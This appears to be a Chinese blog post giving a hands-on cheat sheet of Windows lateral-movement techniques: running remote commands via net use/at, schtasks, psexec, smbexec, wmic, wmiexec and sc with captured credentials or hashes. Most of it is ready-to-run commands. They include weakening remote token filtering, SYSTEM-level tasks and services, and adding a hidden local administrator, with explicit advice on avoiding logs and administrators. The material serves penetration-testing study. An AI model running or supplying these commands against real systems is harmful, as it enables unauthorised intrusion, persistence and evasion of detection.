常見的遠程執行命令方式整理

2021-02-23 信安之路

當我們已經獲取了遠程系統的憑證(明文密碼或 hash)時,可以直接通過3389遠程登錄進去收集信息、進行下一步的滲透,但是這樣做的話會在系統上留下我們的操作記錄,而且有可能邂逅管理員。大部分情況下,一個cmdshell 已經可以滿足我們繼續滲透的需求,所以不到萬不得已的時候最好不要遠程桌面連接(mstsc),而是通過遠程執行命令的方式繼續開展工作。本文整理了一些遠程執行命令的姿勢,測試環境如下:

遠程系統:

IP:192.168.17.138

用戶名:Administrator密碼:!@#123QWE所屬本地組:Administrators

用戶名:test密碼:!@#123QWE所屬本地組:Administrators、Users

關於 LocalAccountTokenFilterPolicy 的說明

在 Windows Vista 以後的作業系統中,LocalAccountTokenFilterPolicy 的默認值為0,這種情況下內置帳戶Administrator 進行遠程連接時會直接得到具有管理員憑證的令牌,而非 Administrator 的本地管理員帳戶進行遠程連接(比如 ipc 連接、wmi 連接)時,會得到一個刪除了管理員憑證的令牌。域用戶不受此影響,也不在我們討論的範圍內。也就是說只有 Administrator 帳號才能建立需要管理員權限的遠程連接,其他本地管理員帳戶建立需要管理員權限的遠程連接時則會提示權限不足。可以通過以下方法修改遠程系統上LocalAccountTokenFilterPolicy 條目的值,使得非 Administrator 的本地管理員建立連接時也可以得到具有管理員憑證的令牌,即可正常通過各種方式遠程執行命令。

修改 LocalAccountTokenFilterPolicy 為1:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

恢復 LocalAccountTokenFilterPolicy 為0(刪除後需要重啟 explorer.exe 才能使修改生效)

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

net use + at

常用命令

建立一個 ipc 連接

net use \\192.168.17.138\C$ "!@#123QWE" /u:"workgroup\Administrator"

拷貝文件到遠程系統上

copy s.exe \\192.168.17.138\c$\RECYCLER\

查看遠程主機當前時間

net time \\192.168.17.138

添加計劃任務在遠程系統上執行命令

at \\192.168.17.138 15:18 cmd.exe /c "ipconfig /all > c:\programdata\error.log"

添加計劃任務在遠程系統上執行 bat 腳本

at \\192.168.17.138 15:18 c:\programdata\test.bat

查看 at 任務列表

at \\192.168.17.138

刪除 at 計劃任務,運行完成後一定要刪除計劃任務!

at \\192.168.17.138 1 /delete

查看所有 ipc 連接

net use

刪除指定 ipc 連接

net use \\192.168.17.138\C$ /del

刪除所有 ipc 連接(刪除前記得確認是否都是自己測試中建立的連接)

net use * /del /y

其它命令

映射遠程磁碟到本地

net use z: \\192.168.17.138\C$

刪除共享映射

net use z: /del

查看遠程主機開啟的默認共享

net view \\192.168.17.138

常見連接錯誤號原因分析

錯誤號 5,拒絕訪問:權限不足。管理員用戶遇到這個錯誤時,可參考 LocalAccountTokenFilterPolicy 解決

錯誤號 51,Windows 無法找到網絡路徑:網絡有問題;

錯誤號 53,找不到網絡路徑:ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啟動;目標有防火牆(埠過濾);

錯誤號 67,找不到網絡名:你的 lanmanworkstation 服務未啟動或者目標刪除了共享;

錯誤號 1219,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個 ipc 連接,請刪除再連;

錯誤號 1326,未知的用戶名或錯誤密碼:原因很明顯了;

錯誤號 1792,試圖登錄,但是網絡登錄服務沒有啟動:目標 NetLogon 服務未啟動;

錯誤號 2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。

工具說明

schtasks

常用命令

在遠程系統建立計劃任務(計劃運行時會以 system 權限在遠程系統上執行單條命令)

schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c netstat -ano | findstr 3389 >> c:\programdata\error.log" /ru system /f

在遠程系統建立計劃任務(計劃運行時會以 system 權限在遠程系統上執行 bat 腳本)

schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr c:\programdata\test.bat /ru system /f

在遠程系統建立計劃任務(計劃運行時會以管理員權限在遠程系統上執行單條命令),註:這條命令不支持 hash 注入後省去用戶名密碼執行

schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c whoami /all >> c:\programdata\error.log" /ru "workgroup\administrator"

查看建立的計劃任務是否正確

schtasks /query /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" | findstr test

運行建立的計劃任務

schtasks /run /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE"  /i /tn "test"

刪除建立的計劃任務

schtasks /delete /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn "test" /f

工具說明

psexec

常用命令

獲取管理員用戶權限的交互式 shell

psexec \\192.168.17.138 -u Administrator -p !@#123QWE cmd

獲取普通用戶權限的交互式 shell,原因參見 LocalAccountTokenFilterPolicy,要想獲取管理員權限 shell ,需要添加 -h 參數。

psexec \\192.168.17.138 -u test -p !@#123QWE cmd

在遠程系統上以 system 權限執行單條命令,有時回顯只有一行,原因尚不清楚。

psexec \\192.168.17.138 -u Administrator -p !@#123QWE -s cmd /c "quser"

在遠程系統上執行 bat 腳本

psexec \\192.168.17.138 -u Administrator -p !@#123QWE c:\programdata\test.bat

拷貝文件到遠程機器並以交互方式運行,運行結束後會刪除

psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe

其它參數

–accepteula 第一次運行會彈框,輸入這個參數便不會彈框

-s 以 「nt authority\system」 權限運行遠程進程

-h 如果可以,以管理員權限運行遠程進程

-d 不等待程序執行完就返回,請只對非交互式應用程式使用此選項

\ip 可以替換成 @ip.txt (存放多個 ip 的文本),可以批量執行命令

工具說明

smbexec

smbexec 是基於 psexec 修改的程序,加入了參數來指定默認共享,可以在目標為開啟 admin$ 共享但開了其它共享時使用。

常用命令

建立 ipc 連接(參見net use + at)後,上傳 execserver.exe 到遠程系統上

copy execserver.exe \\192.168.17.138\c$\windows

在遠程系統上執行單條命令(以管理員權限執行命令)

test.exe 192.168.17.138 Administrator !@#123QWE "whoami /all" c$

在遠程系統上執行單條命令(以刪除了管理員權限的普通用戶權限執行命令,原因參見LocalAccountTokenFilterPolicy)

test.exe 192.168.17.138 test !@#123QWE "whoami /all" c$

在遠程系統上執行 bat 腳本(以管理員權限執行命令)

test.exe 192.168.17.138 Administrator !@#123QWE c:\programdata\test.bat ipc$

刪除遠程系統上的 execserver.exe

del \\192.168.17.138\c$\windows\execserver.exe

工具說明

wmic

WMI 的全稱是 Windows Management Instrumentation,它出現在所有的 Windows 作業系統中,並由一組強大的工具集合組成,用於管理本地或遠程的 Windows 系統,攻擊者使用 wmi 來進行攻擊,但 Windows 系統默認不會在日誌中記錄這些操作,可以做到無日誌,攻擊腳本無需寫入到磁碟,增加了隱蔽性。推薦使用 wmic 進行遠程執行命令。

常用命令

在遠程系統上執行 bat 腳本

wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create c:\programdata\test.bat

在遠程系統上執行單條命令

wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

工具說明

需要遠程系統啟動 Windows Management Instrumentation 服務,開放135埠

遠程系統的本地安全策略的「網絡訪問: 本地帳戶的共享和安全模式」應設為「經典-本地用戶以自己的身份驗證」

wmic 會以管理員權限在遠程系統上執行命令

防火牆開啟將無法連接

如果報錯 "Invalid Global Switch" ,用雙引號把包含-的結點括起來即可正常執行。

wmiexec

WMI 可以遠程執行命令,大牛使用VBS腳本調用WMI來模擬 psexec 的功能,於是乎 WMIEXEC 就誕生了。基本上psexec 能用的地方,這個腳本也能夠使用。

常用命令

獲取半交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 test !@#123QWE

在遠程系統上執行單條命令

cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE "cmdkey /list"

在遠程系統上執行 bat 腳本

cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE c:\programdata\test.bat

其它參數

-wait5000 表示這個命令等待5s後再讀取結果,用於運行「運行時間長」的命令。

-persist 程序會在後臺運行,不會有結果輸出,而且會返回這個命令進程的 PID,方便結束進程,用於運行 nc 或者木馬程序。

下面這段代碼在腳本的一開始,是控制結果文件路徑、文件名、以及默認代碼執行時間的,可以自行更改。

Const  Path  =  "C:\"

Const FileName = "wmi.dll"

Const  timeOut  =  1200

工具說明

需要遠程系統啟動 Windows Management Instrumentation 服務,開放135埠

遠程系統的本地安全策略的「網絡訪問: 本地帳戶的共享和安全模式」應設為「經典-本地用戶以自己的身份驗證」

wmicexec.vbs 會以管理員權限在遠程系統上執行命令

virustotal 顯示 wmiexec.vbs 會被 Kaspersky、Symantec 和 ZoneAlarm 查殺。

sc

常用命令

建立 ipc 連接(參見net use + at)後上傳等待運行的 bat 腳本到目標系統上,創建服務(開啟服務時會以system 權限在遠程系統上執行 bat 腳本)

sc \\192.168.17.138 create test binpath= "cmd.exe /c start c:\programdata\test.bat"

開啟服務,運行其它命令可以直接修改 bat 腳本內容

sc \\192.168.17.138 start test

刪除服務

sc \\192.168.17.138 delete test

總結

當工具沒有回顯(at、wmic、sc、schtasks)的時候可以將命令執行結果重定向到文件,然後使用 type 來查看命令執行結果。如果執行的命令比較複雜,比如命令中包含雙引號,可以將命令寫成 bat 腳本拷貝到遠程系統上,然後遠程執行 bat 腳本。經測試,at、schtasks、psexec、wmic、wmiexec 和 sc 均支持 hash 注入後使用,在沒有明文密碼的情況下,可以 hash 注入後運行命令(去除命令中的用戶名、密碼參數)實現遠程執行。

本文列出了常見遠程執行命令的方法和技巧,我們使用的時候需要根據具體環境進行選擇最合適的執行方式。小弟不才,如果文中有錯誤或者疏漏,希望各位表哥可以指出,萬分感謝。歡迎大家來一起討論遠程執行命令的方式和技巧。

參考資料

丟掉 PSEXEC 來橫向滲透

https://www.anquanke.com/post/id/84938

在遠程系統上執行程序的技術整理

http://static.hx99.net/static/drops/tips-7358.html

域滲透前置知識

https://www.cnblogs.com/mujj/articles/4623409.html

相關焦點

  • Python - 遠程SSH執行命令
    安裝pip install paramiko 使用SSHClient類SSHClient類是SSH服務會話的高級表示,封裝了傳輸、通道以及SFTPClient的校驗、建立方法,通常用於執行命令。=None, gss_trust_dns=True, passphrase=None)常用參數說明:hostname:連接目標的主機地址port:連接目錄的埠,默認為22username:用戶名password:密碼pkey:私鑰方式用戶驗證
  • Fastjson 1.2.47 遠程命令執行漏洞
    話不多說,今天帶大家復現一下Fastjson1.2.47遠程命令執行漏洞。fastjson ->fastjson1.2.47啟動靶場環境docker-compose up -d, 主機B將以下代碼保存為TouchFile.java (紅色處為遠程命令執行的代碼
  • 沒有公網IP,花生殼+SSH實現Windows連接遠程Linux執行命令
    在我們學習、工作中,常遇到需要使用Windows系統的電腦,來訪問遠程Linux系統進行相關部署操作,但遠程Linux系統服務與本地Windows不在同一個區域網,而且Linux系統所在的外網IP是動態變化的,那麼,有沒有簡單、高效的辦法解決這個遠程訪問難題?
  • 命令執行繞過總結
    == 0),&&右邊的命令才會被執行。|| 只有在 || 左邊的命令返回假(命令返回值 $? == 1),||右邊的命令才會被執行。%0a%0d| (管道符) |表示管道,上一條命令的輸出,作為下一條命令的參數例:echo qwe ; ls //會先輸出字符qwe,然後執行lsq=l; w=s; e=" -al"; $q$w$e //執行ls -al命令qwe | ls //執行後面的命令
  • 史上最全Linux常用命令整理,建議收藏!
    若沒有附加參數"-P」,則會先檢查/目錄的文件系統,而不會同時檢查所有文件系統-R採取互動方式,在修復時詢問問題,讓用戶確認並決定處理方式-S依次檢查作業而不是同時執行。當依次指定多個文件系統且採用互動的方式進行檢查時,請使用此參數以便順序執行,否則fsck 可能會同時詢問數個問題,讓人不知所措-V顯示命令執行的過程-T指定要檢查的文件系統的類型-N不是真正執行指令,僅列出實際執行時會進行的動作
  • DOS命令大全,黑客必知的DOS命令集合
    例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
  • Java安全之命令執行
    這次打算花點時間好好總結整理下java命令執行的幾種方式,並做些淺面的分析。最近剛好看到了360BugCloud公眾號的一篇java命令執行的調試分析文章,也跟著調試了一遍,期間學到了不少,連結會在文末貼出來。
  • 網絡工程師人手必備的常用網絡命令合集,吐血整理!
    在計算機網絡中經常要對網絡進行管理,測試,這時就要用到網絡命令。今天就為大家整理了一些網絡工程師必備的一些常用網絡命令合集,建議收藏後觀看哦!
  • 使用命令提示符啟用遠程桌面?不可思議,在win10中輕鬆實現了
    在Windows 10上,用戶不必親臨現場,就可以使用遠程桌面遠程訪問計算機或伺服器,以幫助其他用戶解決問題或管理服務。你可能希望使用此方法創建一個腳本,以便於在多臺計算機上快速配置遠程桌面,或將腳本發送給用戶,這樣,用戶無需執行其他操作,只需雙擊該腳本即可自動設置功能,大大提高了工作效率。
  • 代碼執行、命令執行漏洞-PHP
    >執行結果:whoami^(escapeshellarg():保證傳入命令執行函數裡面的參數確實是一字符串參數形式存在,不能被注入將參數限制在一對雙括號裡,確保參數為一個字符串,會把雙引號替換為空格              <?
  • 常用ADB命令整理
    點擊上方「雲測學院」可以訂閱哦我們在測試Android app過程中 需要經常更換安裝包的操作 熟練使用ADB命令可以提升測試效率
  • file_put_contents+php-fpm如何命令執行
    本文學習file_put_contents + FTP + php-fpm的命令執行。原理參考[2],我們可以得知,PHP-FPM未授權訪問時,可以通過修改變量auto_prepend_file或auto_append_file來執行文件。根據[1]中描述,我們需要讓file_put_contents時,將結果寫到php-fpm,這樣造成命令執行。
  • CAD製圖初學入門:CAD軟體中有哪些執行CAD命令的方式?
    在使用浩辰CAD軟體繪製圖紙的過程中,我們經常需要通過使用各種CAD命令來執行操作,執行CAD命令的方式主要有兩種:下拉菜單、工具欄按鈕。下面給大家詳細介紹一下CAD製圖初學入門之執行CAD命令的方式吧!
  • Linux 遠程命令行工具Putty介紹
    對於遠程的Linux伺服器,經常需要使用命令行進行操作,但是實際生產環境下很難直接在物理機上進行操作,這時就需要使用遠程的命令行工具。其實在平時的開發和學習中,使用遠程的命令行工具也是非常方便的。我個人比較喜歡和常用的是Putty,接下來簡單介紹一下基本使用。
  • 深入解讀:Windows HTTP.sys遠程代碼執行漏洞跟蹤進展
    攻擊者可以遠程執行任意代碼。3.2009-10-13 Microsoft IIS FTPd服務NLST命令遠程棧溢出漏洞(MS09-053)(CVE-2009-3023)描述:攻擊者可以導致拒絕服務或遠程執行任意代碼。Microsoft IIS內嵌的FTP伺服器中存在棧溢出漏洞。
  • 今天我們來聊一個很基礎的話題:如何執行一條命令
    因CLI伴隨著作業系統的誕生,且命令行處理又是一個複雜但相似的過程,因此各種語言也都提供了相應的庫支持,如C語言提供了getopt/getopt_long等函數,C++的boost提供了Options庫,shell中處理此事的是getopts和getopt。命令傳遞有兩種方式,一種是文件形式,將bat/shell腳本上傳到伺服器然後執行。
  • fastjson 被曝存在遠程代碼執行漏洞,等級「高危」
    fastjson 當前版本為 1.2.68 發布於 3 月底,日前某安全運營中心監測到,fastjson <= 1.2.68 版本存在遠程代碼執行漏洞,漏洞被利用可直接獲取伺服器權限。360CERT 將漏洞等級定為「高危」。
  • 你應該知道的10個Git命令(附連結)
    在本文中,我們將討論作為開發人員、數據科學家或產品經理應該了解的各種Git命令,如何使用Git進行檢查、刪除和整理,以及如何通過Bash別名和Git編輯器配置來逃避Vim並節省時間。這裡有10個要知道的命令和一些常見的標誌。每個命令都連結到該命令的Atlassian Bitbucket指南。
  • FTP命令全集-網絡安全專區
    Internet用戶使用最頻繁的命令之一,不論是在DOS還是UNIX操作 系統下使用FTP,都會遇到大量的FTP內部命令,熟悉並靈活應用FTP的內部命令,可 以大大方便使用者,對於現在撥號上網的用戶,如果ISP提供了shell可以使用noh up,那麼ftp將是你最省錢的上download方式,ftp的命令行格式為:ftp -v -d -i -n -g[主機名]  -
  • 用戶權限相關命令
    用戶 和 權限 的基本概念1.1 基本概念用戶 是 Linux 系統工作中重要的一環,用戶管理包括 用戶 與 權限 管理在 Linux 系統中,不論是由本機或是遠程登錄系統,每個系統都必須擁有一個帳號,並且對於不同的系統資源擁有不同的使用權限在 Linux 中,可以指定 每一個用戶 針對 不同的文件或者目錄 的 不同權限對 文件/目錄 的權限包括:1.2 組